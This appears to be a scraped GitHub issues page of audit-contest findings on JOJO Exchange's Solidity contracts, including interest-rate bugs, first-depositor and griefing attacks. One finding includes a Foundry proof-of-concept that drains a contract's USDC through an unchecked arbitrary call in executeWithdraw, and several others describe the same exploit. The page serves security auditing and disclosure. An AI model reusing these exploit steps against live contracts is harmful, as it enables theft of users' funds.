2023-12-jojo-exchange-update-judging's People
2023-12-jojo-exchange-update-judging's Issues
dany.armstrong90 - JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.
dany.armstrong90
high
JUSDBankStorage.sol#accrueRate function has an error in calculating the tRate.
Summary
JUSDBankStorage.sol#accrueRate
function calculates the value of tRate
larger than the right value.
Thus the borrowers of JUSDBank
will lose more JUSD tokens when repaying or liquidating.
Vulnerability Detail
JUSDBankStorage.sol#accrueRate
function and getTRate
function are the following.
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
59: tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
65: uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
As can be seen, the calculation formula for tRate
in L59
of accrueRate
function differs with L65
of getTRate
function.
When tRate = 1e18
, the formula of L59
is equal to L65
.
JUSDBank.sol#L39
is following.
tRate = Types.ONE;
That is, since the initial value of tRate
is 1e18
and it increases by time, tRate > 1e18
will be always hold true.
When tRate > 1e18
, the value of L59
will be larger than L65
as follows.
tRateInL59 = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18)
= tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR) + tRate.decmialMul(1e18)
= tRate * (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR / 1e18 + tRate * 1e18 / 1e18
> (timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + tRate = tRateInL65
Since tRate > 1e18
increases by time, the difference of two values will be larger and larger.
Since borrowRate
is the increase amount of tRate
in a year, the L65
of getTRate
is right but not for L59
of accrueRate
function.
Impact
accrueRate
function calculates the value of tRate
larger than the right value.
accrueRate
function is called from borrow
, repay
and liquidate
function of JUSDBank.sol
.
Thus borrowers will lose more JUSD tokens when repaying or liquidating.
As tRate > 1e18
continues to increases, the deviation of calculation becomes larger and larger.
Code Snippet
Tool used
Manual Review
Recommendation
Modify JUSDBankStorage.sol#accrueRate
function as follows.
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
-- uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-- tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
++ tRate = getTRate();
lastUpdateTimestamp = currentTimestamp;
}
Duplicate of #1
AuditorPraise - `collateral` should approve `jusdBank` to 0 first because collateral can be USDT
AuditorPraise
medium
collateral
should approve jusdBank
to 0 first because collateral can be USDT
Summary
USDT needs approvals to be set to 0 first
Vulnerability Detail
collateral
can be USDT and the collateral doesn't approve jusdBank
to 0 first before setting it to uint256.max
Impact
since collateral doesn't set jusdBank
to 0 first USDT is incompatible as a collateral.
Code Snippet
Tool used
Manual Review
Recommendation
make collateral
approve jusdBank
to 0 first because collateral can be USDT
lil.eth - No check for Arbitrum Sequencer being down means stale prices may be accepted
lil.eth
medium
No check for Arbitrum Sequencer being down means stale prices may be accepted
Summary
Because of how Arbitrum Enqueues TXs while the sequencer is down, TXs with an older timestamp may be accepted, allowing the usage of stale prices
Vulnerability Detail
In lack of checks, the transaction will be queued, resulting in the ability to use older prices as the timestamp from L1 will be the one of the original submission and not the one of the time of processing.
This is because Arbitrum will enqueue the TX and store the original Timestamp from L1 at the time of original submission and not processing
Impact
Stable prices may be used after the sequence comes back online
Code Snippet
Tool used
Manual Review
Recommendation
https://docs.chain.link/data-feeds/l2-sequencer-feeds#arbitrum
See the queue system here:
https://docs.chain.link/data-feeds/l2-sequencer-feeds/
Remediation Steps
Consider reverting if the Sequencer is offline.
Check the Chainlink Documentation for a full example:
https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code
Duplicate of #67
bughuntoor - User can force revert max deposits to JUSDBank
bughuntoor
medium
User can force revert max deposits to JUSDBank
Summary
User can force revert max deposits to JUSDBank
Vulnerability Detail
Within the JUSDBank
contract, users can deposit collateral and borrow JUSD
against it. The problem is there is maxDepositAmountPerAccount
. This would mean that if a user attempts to stake up to max balance, an adversary can just grief deposit 1 wei and force the user's tx to revert.
require(
user.depositBalance[collateral] <= reserve.maxDepositAmountPerAccount,
Errors.EXCEED_THE_MAX_DEPOSIT_AMOUNT_PER_ACCOUNT
);
This creates a serious risk in certain scenario when user is close to liquidation.
- User is close to liquidation.
- User attempts to deposit up to the allowed cap.
- Another user sees this and front-runs it, depositing 1 wei.
- The innocent user's tx reverts
- Due to the user being unable to deposit, they might get unfairly liquidated.
Impact
Unfair liquidation, griefing.
Code Snippet
Tool used
Manual Review
Recommendation
Either set up a minimum deposit amount or if the user tries to deposit more than the cap, deposit up to the cap and refund the rest.
T1MOH - ConstOracle.sol doesn't fully implement IPriceSource.sol
T1MOH
medium
ConstOracle.sol doesn't fully implement IPriceSource.sol
Summary
ConstOracle.sol doesn't have method getAssetPrice()
Vulnerability Detail
It is specified in README that ConstOracle will be set after collateral is delisted:
unused contract: in the delist, we will replace the oracle to make the price anchored a fixed price
However ConstOracle.sol doesn't have method getAssetPrice()
, this will cause a revert in some other interactions:
- Liquidator can't receive that delisted asset in liquidation., note that he can specify any collateral that user deposited.
function liquidate(...)
external
override
isValidOperator(msg.sender, liquidator)
nonFlashLoanReentrant
returns (Types.LiquidateData memory liquidateData)
{
...
liquidateData = _calculateLiquidateAmount(liquidated, collateral, amount);
...
}
function _calculateLiquidateAmount(
address liquidated,
address collateral,
uint256 amount
)
internal
view
returns (Types.LiquidateData memory liquidateData)
{
Types.UserInfo storage liquidatedInfo = userInfo[liquidated];
require(_isStartLiquidation(liquidatedInfo, tRate), Errors.ACCOUNT_IS_SAFE);
Types.ReserveInfo memory reserve = reserveInfo[collateral];
@> uint256 price = IPriceSource(reserve.oracle).getAssetPrice();
...
}
- Some view functions will revert, but that's low impact
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L30
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L55
Impact
Liquidator can't liquidate delisted collateral
Code Snippet
Tool used
Manual Review
Recommendation
Add missing method
bughuntoor - Unsafe `call` allows an arbitrary user to steal all funds within JOJODealer
bughuntoor
high
Unsafe call
allows an arbitrary user to steal all funds within JOJODealer
Summary
Unsafe call
allows an arbitrary user to steal all funds within JOJODealer
Vulnerability Detail
In the withdraw
function, if the user passes data
, the contract tries to call the the specified to
address with the provided data.
if (param.length != 0) {
require(Address.isContract(to), "target is not a contract");
(bool success,) = to.call(param);
if (success == false) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
A user can simply specify the to
address as the ERC20 contract with transfer
method and steal all funds within the contract.
The user can do the same with the transferFrom
to steal all outstanding allowances the users might have towards the contract.
Impact
Completely draining the contract + user allowances
Code Snippet
Tool used
Manual Review
Recommendation
Do not allow arbitrary calls
Duplicate of #7
rvierdiiev - FundingRateArbitrage allows users to avoid loss
rvierdiiev
high
FundingRateArbitrage allows users to avoid loss
Summary
FundingRateArbitrage allows users to avoid loss as they can just simply not withdraw and keep jusd.
Vulnerability Detail
Users provide usdc into FundingRateArbitrage contract. Then contract deposits same amount of jusd to user's account and user can withdraw those funds and use them.
USDC that were provided by users are going to be swapped to eth, then used to borrow jusd in the bank and then use jusd to participate in perp trading. The aim of FundingRateArbitrage is to earn additional funds from pepr markets and increase index price, which means that user's will be able to get more funds then they have deposited.
As FundingRateArbitrage will hold some positions in perp market, then it's possible that they will loose some funds(because of price change) and they can even be liquidated, which makes it possible to index price become less than 1. Such case signals that FundingRateArbitrage contract faced a loss and not users who will requestWithdraw
will receive smaller amount of usdc.
However in this finding i want to flag, that in case if such thing will happen, then user will not call requestWithdraw
anymore, because it means that they will need to burn bigger amount of jusd for smaller amount of usdc. All user will likely hold jusd or swap it on some market and get better price.
This will mean pure loss of jusd for the protocol as those jusd was covered by usdc.
So currently user can be sure that they will not lose funds with FundingRateArbitrage contract.
Impact
Loss is not distributed among depositors.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
I would redesign this contract to be similar to erc4626 vault that mints own tokens and do not deposit jusd for users.
Duplicate of #35
bareli - The return value of an external call is not stored in a local or state variable.
bareli
medium
The return value of an external call is not stored in a local or state variable.
Summary
approve(address spender, uint256 amount) โ bool
Vulnerability Detail
IERC20(usdc).approve(jojoDealer, usdcAmount);
Impact
we will not know whether its approved or not.
Code Snippet
Tool used
Manual Review
Recommendation
Ensure that all the return values of the function calls are used.
bareli - use safetransferfrom and safetransfer instead of transferfrom and transfer
bareli
medium
use safetransferfrom and safetransfer instead of transferfrom and transfer
Summary
we should be using safetransferfrom and safetransfer instead of transferfrom and transfer.The return value of an external transfer/transferFrom call is not checked
Vulnerability Detail
IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
Impact
Code Snippet
Tool used
Manual Review
Recommendation
Use SafeERC20
, or ensure that the transfer/transferFrom return value is checked.
Duplicate of #49
cawfree - Loss of Funds: `JOJODealer.sol` can be drained via calls to `executeWithdraw`.
cawfree
high
Loss of Funds: JOJODealer.sol
can be drained via calls to executeWithdraw
.
Summary
When calling executeWithdraw(address,address,bool,bytes)
, the caller is permitted to specify an arbitrary to
address and an arbitrary bytes payload, param
. When to
is a contract, the arbitrary payload is used as calldata for invocation.
An attacker can exploit this by specifying a to
address of an asset managed or approved to the JojoDealer
, such as $USDC, and provide calldata to exploit this.
Vulnerability Detail
In the test below, we demonstrate that during a normal withdrawal flow, an attacker can specify they wish to withdraw to a trusted contract with an arbitrary bytes payload.
In this flow, the _ATTACKER
approves themselves to spend the full USDC balance of the jojoDealer
:
DealerFundTest.sol
function testWithdrawInternalTransferSherlock() public {
jojoDealer.setWithdrawTimeLock(10);
// First, `traders[0]` configures a position.
vm.startPrank(traders[0]);
jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]);
jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6);
cheats.expectRevert("JOJO_WITHDRAW_PENDING");
jojoDealer.executeWithdraw(traders[0], traders[1], true, "");
vm.stopPrank();
// Let's also configure an attacker with some balance
// to deposit.
address _ATTACKER = address(0x69);
vm.startPrank(_ATTACKER);
// Mint some initial collateral.
usdc.mint(_ATTACKER, 1e6);
jusd.mint(_ATTACKER, 1e6);
// Configure approvals.
usdc.approve(address(jojoDealer), 1e6);
jusd.approve(address(jojoDealer), 1e6);
// Make a deposit.
jojoDealer.deposit(1e6, 1e6, _ATTACKER);
vm.stopPrank();
// Simulate the passage of time. (Instead of using `vm.warp`,
// we are following conventions in `DealerFundTest.t.sol`).
jojoDealer.setWithdrawTimeLock(0);
// Time to initialize the attack.
vm.startPrank(_ATTACKER);
// To start, verify we are unable to spend the dealer's funds:
assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), 0);
// Here, we withdraw our collateral to the USDC address.
jojoDealer.executeWithdraw(_ATTACKER, address(usdc), true, abi.encodeWithSignature("approve(address,uint256)", _ATTACKER, type(uint256).max));
// Now assert that we can:
assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), type(uint256).max);
// Verify we don't have an initial starting balance.
assertEq(usdc.balanceOf(_ATTACKER), 0);
// Excellent. Let's take everything.
usdc.transferFrom(address(jojoDealer), _ATTACKER, usdc.balanceOf(address(jojoDealer)));
// Confirm we took everything.
assertEq(usdc.balanceOf(_ATTACKER), 1000001000000);
vm.stopPrank();
}
As JojoDealer
is a critical system component, this attack can be further generalized to further exploit different token approvals or balances.
Impact
I've labelled this as high severity, since an attacker can very easily drain the contract through a normal user journey with no complex additional setup, restrictive financial barrier or dependence upon a trusted actor.
In addition, since the vulnerable contract will receive token spend approvals from users (and for good user experience, user interfaces will often try to approve type(uint256).max
for expenditure), the potential losses incurred through interacting with the contract can be far larger than what is demonstrated here.
Code Snippet
function _withdraw(
Types.State storage state,
address spender,
address from,
address to,
uint256 primaryAmount,
uint256 secondaryAmount,
bool isInternal,
bytes memory param
)
private
{
if (spender != from) {
state.primaryCreditAllowed[from][spender] -= primaryAmount;
state.secondaryCreditAllowed[from][spender] -= secondaryAmount;
emit Operation.FundOperatorAllowedChange(
from, spender, state.primaryCreditAllowed[from][spender], state.secondaryCreditAllowed[from][spender]
);
}
if (primaryAmount > 0) {
state.primaryCredit[from] -= SafeCast.toInt256(primaryAmount);
if (isInternal) {
state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
} else {
IERC20(state.primaryAsset).safeTransfer(to, primaryAmount);
}
}
if (secondaryAmount > 0) {
state.secondaryCredit[from] -= secondaryAmount;
if (isInternal) {
state.secondaryCredit[to] += secondaryAmount;
} else {
IERC20(state.secondaryAsset).safeTransfer(to, secondaryAmount);
}
}
if (primaryAmount > 0) {
// if trader withdraw primary asset, we should check if solid safe
require(Liquidation._isSolidIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
} else {
// if trader didn't withdraw primary asset, normal safe check is enough
require(Liquidation._isIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
}
if (isInternal) {
emit TransferIn(to, primaryAmount, secondaryAmount);
emit TransferOut(from, primaryAmount, secondaryAmount);
} else {
emit Withdraw(to, from, primaryAmount, secondaryAmount);
}
if (param.length != 0) {
require(Address.isContract(to), "target is not a contract");
(bool success,) = to.call(param);
if (success == false) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
}
}
Tool used
Vim, Foundry
Recommendation
Do not permit arbitrary function calls from trusted contracts designed to hold funds or receive token approvals.
Possible remediations:
- Move the ability to originate arbitrary external calls to a dumb contract which does not act as a trusted component of the stack.
- Require that targets are executed using a formal JOJO-specific callback interface.
Duplicate of #7
rvierdiiev - Rate calculation inconsistency inside JUSDBankStorage
rvierdiiev
medium
Rate calculation inconsistency inside JUSDBankStorage
Summary
JUSDBankStorage has 2 functions that are used to calculated current borrow rate and they do calculations in different way.
Vulnerability Detail
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
tRate
is borrow rate and function accrueRate
calculates it as
tRate = tRate * (timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR + 1)
and getTRate
function calculates it as tRate = tRate + timeDifference * borrowFeeRate / Types.SECONDS_PER_YEAR
Both these functions should provide same result of tRate
, but as you can see it is not like that.
Because of that, different tRate
will be used by another parts of protocol. For example borrow balance will use getTRate function result, while repay
will use rate after accrueRate
is called. So when user will calculate amount that he needs to repay, then amount can be calculated using getTRate
, and when he will be repaying, then tRate will be updated using accrueRate
which will lead to another borrow amount.
Impact
tRate is calculated differently in different part of protocol.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
You need to use single approach.
Duplicate of #1
lil.eth - Index Devaluation Lockout in Liquidity Withdrawals
lil.eth
medium
Index Devaluation Lockout in Liquidity Withdrawals
Summary
The getIndex()
function calculates the ratio between netValue
and totalEarnUSDCBalance
. If this index continually decreases (which might happen if the arbitrage strategy consistently underperforms or if there are other factors decreasing the netValue), the value of each LP's stake in terms of USDC decreases correspondingly and due to the require
statement in requestWithdraw()
users won't be able to withdraw their deposit
Vulnerability Detail
The line require(earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance")
acts as a safeguard to ensure that LPs can only withdraw what they are entitled to based on the current index.
However, in a scenario where the index continually decreases (if not enough LPs or bad conditions) , the lockedEarnUSDCAmount
(calculated as jusdOutside[msg.sender].decimalDiv(index))
for each LP would increase because it takes more earnUSDCBalance
units to represent the same amount of underlying USDC due to the lowered index.
This situation would effectively lock their funds, preventing them from withdrawing the USDC amount they originally deposited, as their earnUSDCBalance
doesnโt suffice to cover the withdrawal request due to the devalued index.
Impact
No possibility for LPs to withdraw their funds, even with decremented value
Code Snippet
Tool used
Manual Review
Recommendation
Implement a function to let LPs withdraw their funds even in bad conditions where they lose a part of their money
Duplicate of #35
bughuntoor - First depositor issue in `FundingRateArbitrage`
bughuntoor
medium
First depositor issue in FundingRateArbitrage
Summary
An attacker might steal an innocent user's deposit within FundingRateArbitrage
Vulnerability Detail
Upon depositing into the contract, the user specifies how much USDC
they want to deposit. Then, the amount is divided by the current index
and this is effectively the user's 'shares' (earnUSDCAmount
).
uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
IERC20(usdc).transferFrom(msg.sender, address(this), amount);
JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
earnUSDCBalance[msg.sender] += earnUSDCAmount;
An attacker can basically do the common ERC4626 first depositor attack and steal the first depositor's assets
- Deposit 1 wei and mint 1 share
- Wait for innocent user's deposit (e.g. for 1e18)
- Front-run it and donate 1e18 to the contract, making the price per share
1e18 + 1
- Innocent user's shares get rounded down to 0.
- Attacker can then withdraw all funds and repeat the attack.
Impact
Steal first depositor's assets
Code Snippet
Tool used
Manual Review
Recommendation
A solution would be after first depositor lock 1000 shares to a burn address
Duplicate of #54
rudolph - Potential risk of private key leakage
rudolph
medium
Potential risk of private key leakage
Summary
The withdrawal of assets requires a 24-hour approval time, users must first deposit jusd
assets into the FundingRateArbitrage
contract, while the privileged wallet address can withdraw jusd
assets from the current contract via the refineJUSD()
method, so if the private key of this privileged address is compromised, it may damage the assets of the user waiting for the withdrawal audit.
Vulnerability Detail
Users wishing to withdraw funds must first deposit JUSD tokens using the method below.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L277C3-L277C3
/// @notice this function is to submit a withdrawal which wiil permit by our system in 24 hours
/// The main purpose of this function is to capture the interest and avoid the DOS attacks.
/// @dev users need to withdraw jusd from trading system firstly or by jusd, then transfer jusd to
/// the pool and get usdc back
/// @param repayJUSDAmount is the repat jusd amount
function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
...
Before the user withdraws, the leak of the privileged private key will cause losses to the user and the contract.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L151
function refundJUSD(uint256 amount) public onlyOwner {
IERC20(jusd).safeTransfer(msg.sender, amount);
}
Impact
Code Snippet
Tool used
Foundry
Manual Review
Recommendation
Protect the private key well or use a multi-signature wallet to avoid the risk of a single private key being compromised.
joicygiore - `JUSDBankStorage::getTRate()`,`JUSDBankStorage::accrueRate()` are calculated differently, and the data calculation is biased, Causes the `JUSDBank` contract funciton result to be incorrect
joicygiore
medium
JUSDBankStorage::getTRate()
,JUSDBankStorage::accrueRate()
are calculated differently, and the data calculation is biased, Causes the JUSDBank
contract funciton result to be incorrect
Summary
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
JUSDBankStorage::getTRate()
,JUSDBankStorage::accrueRate()
are calculated differently, and the data calculation is biased, resulting in the JUSDBank contract not being executed correctly
Vulnerability Detail
The wrong result causes the funciton calculation results of JUSDBank::_isAccountSafe()
, JUSDBank::flashLoan()
, JUSDBank::_handleBadDebt
, etc. to be biased,and all functions that call the relevant function will be biased
Impact
Causes the JUSDBank
contract funciton result to be incorrect
Code Snippet
Tool used
Manual Review
POC
Please add the test code to JUSDViewTest.t.sol
for execution
function testTRateDeviation() public {
console.log(block.timestamp);
console.log(jusdBank.lastUpdateTimestamp());
vm.warp(block.timestamp + 18_356 days);
jusdBank.accrueRate();
console.log("tRate value than 2e18:", jusdBank.tRate());
// block.timestamp for every 1 increment
vm.warp(block.timestamp + 1);
uint256 getTRateNum = jusdBank.getTRate();
jusdBank.accrueRate();
uint256 tRateNum = jusdBank.tRate();
console.log("block.timestamp for every 1 increment, deviation:", tRateNum - getTRateNum);
// block.timestamp for every 1 days increment
vm.warp(block.timestamp + 1 days);
getTRateNum = jusdBank.getTRate();
jusdBank.accrueRate();
tRateNum = jusdBank.tRate();
console.log("block.timestamp for every 1 days increment, deviation:", tRateNum - getTRateNum);
}
Recommendation
Use the same calculation formula:
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
- return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+ return tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
}
rudolph - Contract does not support deflation tokens
rudolph
medium
Contract does not support deflation tokens
Summary
This contract directly uses the input parameters entered by the user as the transfer amount and records it, without taking into account the deflation loss or transfer fees of some tokens during the transfer process.
Vulnerability Detail
The deposit()
functions use safeTransferFrom()
to move funds from the sender to the recipient but fail to verify if the received token amount matches the transferred amount. This could pose an issue with fee-on-transfer tokens, where the post-transfer balance might be less than anticipated, leading to balance inconsistencies. There might be subsequent checks for a second transfer, but an attacker might exploit leftover funds (such as those accidentally sent by another user) to gain unjustified credit.
Impact
Code Snippet
function deposit(Types.State storage state, uint256 primaryAmount, uint256 secondaryAmount, address to) external {
if (primaryAmount > 0) {
IERC20(state.primaryAsset).safeTransferFrom(msg.sender, address(this), primaryAmount);
state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
}
if (secondaryAmount > 0) {
IERC20(state.secondaryAsset).safeTransferFrom(msg.sender, address(this), secondaryAmount);
state.secondaryCredit[to] += secondaryAmount;
}
emit Deposit(to, msg.sender, primaryAmount, secondaryAmount);
}
Tool used
VSCode, Foundry
Manual Review
Recommendation
A practical solution is to gauge the balance before and post-transfer and consider the differential as the transferred amount, instead of the predefined amount.
bareli - using of solidity 0.8.20.
bareli
medium
using of solidity 0.8.20.
Summary
This is because solidity 0.8.20 introduces the PUSH0 (0x5f) opcode which is only supported on the ETH mainnet and not on any other chains. That's why other chains can't find the PUSH0 (0x5f) opcode and throw this error. Consider using 0.8.19 for other chains. This should solve your problem.
Vulnerability Detail
pragma solidity ^0.8.20;
Impact
other chains can't find the PUSH0 (0x5f) opcode and throw this error
Code Snippet
Tool used
Manual Review
Recommendation
Consider using 0.8.19 version.
Duplicate of #32
T1MOH - All funds can be stolen from JOJODealer
T1MOH
high
All funds can be stolen from JOJODealer
Summary
Funding._withdraw()
makes arbitrary call with user specified params. User can for example make ERC20 to himself and steal funds.
Vulnerability Detail
User can specify parameters param
and to
when withdraws:
function executeWithdraw(address from, address to, bool isInternal, bytes memory param) external nonReentrant {
Funding.executeWithdraw(state, from, to, isInternal, param);
}
In the end of _withdraw()
function address to
is called with that bytes param
:
function _withdraw(
Types.State storage state,
address spender,
address from,
address to,
uint256 primaryAmount,
uint256 secondaryAmount,
bool isInternal,
bytes memory param
)
private
{
...
if (param.length != 0) {
@> require(Address.isContract(to), "target is not a contract");
(bool success,) = to.call(param);
if (success == false) {
assembly {
let ptr := mload(0x40)
let size := returndatasize()
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
}
}
}
As an attack vector attacker can execute withdrawal of 1 wei to USDC contract and pass calldata to transfer arbitrary USDC amount to himself via USDC contract.
Impact
All funds can be stolen from JOJODealer
Code Snippet
Tool used
Manual Review
Recommendation
Don't make arbitrary call with user specified params
joicygiore - `FundingRateArbitrage::deposit()` is missing a minimum deposit amount check, which can lead to user withdrawals failing
joicygiore
medium
FundingRateArbitrage::deposit()
is missing a minimum deposit amount check, which can lead to user withdrawals failing
Summary
FundingRateArbitrage::deposit()
is missing a minimum deposit amount check, which can lead to user withdrawals failing
Vulnerability Detail
FundingRateArbitrage
contract contains depositFeeRate,withdrawFeeRate,withdrawSettleFee
three parameters, the user will be charged the corresponding fee when depositing and withdrawing the amount,butIf you keep withdrawSettleFee at 0, FundingRateArbitrage::requestWithdraw()
can be subject to a Dos attack,if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit
note:Withdrawal failures due to FundingRateArbitrage::getIndex()
are ignored here
Please add the test code to FundingRateArbitrageTest.t.sol
for execution
function testIfSetedWithdrawSettleFeeNeedBeCheckTheMinimumAmount() public {
// init fundingRateArbitrage
vm.startPrank(Owner);
fundingRateArbitrage.setDepositFeeRate(1e16);
fundingRateArbitrage.setWithdrawFeeRate(1e16);
fundingRateArbitrage.setWithdrawSettleFee(10e6); // withdrawSettleFee == 10e6
vm.stopPrank();
// init user
address user = makeAddr("User");
USDC.mint(user, 10e6);
vm.startPrank(user);
USDC.approve(address(fundingRateArbitrage), 10e6);
assert(USDC.balanceOf(user) == 10e6);
// deposit 10e6
fundingRateArbitrage.deposit(10e6);
// check balance
uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
console.log(userDepositAmount);
assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
// Withdraw
jojoDealer.requestWithdraw(user, 0, userDepositAmount);
vm.warp(block.timestamp + 1 days);
jojoDealer.executeWithdraw(user, user, false, "");
// amount < withdrawSettleFee -> revert
jusd.approve(address(fundingRateArbitrage), userDepositAmount);
vm.expectRevert("Withdraw amount is smaller than settleFee");
fundingRateArbitrage.requestWithdraw(userDepositAmount);
vm.stopPrank();
}
Impact
if the withdrawSettleFee is set, the user may not be able to withdraw due to the amount limit
Code Snippet
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L38-L40
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L258-L275
Tool used
Manual Review
Recommendation
Add a minimum deposit amount check in FundingRateArbitrage.sol
+ import "./libraries/Types.sol";
function deposit(uint256 amount) external {
+ require(amount.decimalMul(Types.ONE - depositFeeRate) > withdrawSettleFee,"The deposit amount is less than the minimum withdrawal amount"); //
- require(amount != 0, "deposit amount is zero");
uint256 feeAmount = amount.decimalMul(depositFeeRate);
if (feeAmount > 0) {
amount -= feeAmount;
IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
}
uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
IERC20(usdc).transferFrom(msg.sender, address(this), amount);
JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
earnUSDCBalance[msg.sender] += earnUSDCAmount;
jusdOutside[msg.sender] += amount;
totalEarnUSDCBalance += earnUSDCAmount;
require(getNetValue() <= maxNetValue, "net value exceed limitation");
uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}
test
Please add the test code to FundingRateArbitrageTest.t.sol
for execution
function testAMinimumDepositAmountCheckHasBeenAdded() public {
/////////////////////////////////////////////////////////////
/// Less than the minimum amount //////
/////////////////////////////////////////////////////////////
// init fundingRateArbitrage
vm.startPrank(Owner);
fundingRateArbitrage.setDepositFeeRate(1e16);
fundingRateArbitrage.setWithdrawFeeRate(1e16);
fundingRateArbitrage.setWithdrawSettleFee(9e6); // withdrawSettleFee == 10e6
vm.stopPrank();
// init user
address user = makeAddr("User");
USDC.mint(user, 10e6);
vm.startPrank(user);
USDC.approve(address(fundingRateArbitrage), 10e6);
assert(USDC.balanceOf(user) == 10e6);
// deposit 9e6 revert
vm.expectRevert("The deposit amount is less than the minimum withdrawal amount");
fundingRateArbitrage.deposit(9e6);
//////////////////////////////////////////////////////////
/// Meet the minimum amount //////
//////////////////////////////////////////////////////////
vm.startPrank(user);
assert(USDC.balanceOf(user) == 10e6);
// deposit 10e6
fundingRateArbitrage.deposit(10e6);
// check balance
uint256 userDepositAmount = fundingRateArbitrage.earnUSDCBalance(user);
console.log(userDepositAmount);
assert(fundingRateArbitrage.jusdOutside(user) == userDepositAmount);
assert(USDC.balanceOf(address(fundingRateArbitrage)) + USDC.balanceOf(fundingRateArbitrage.owner()) == 10e6);
// Withdraw
jojoDealer.requestWithdraw(user, 0, userDepositAmount);
vm.warp(block.timestamp + 1 days);
jojoDealer.executeWithdraw(user, user, false, "");
jusd.approve(address(fundingRateArbitrage), userDepositAmount);
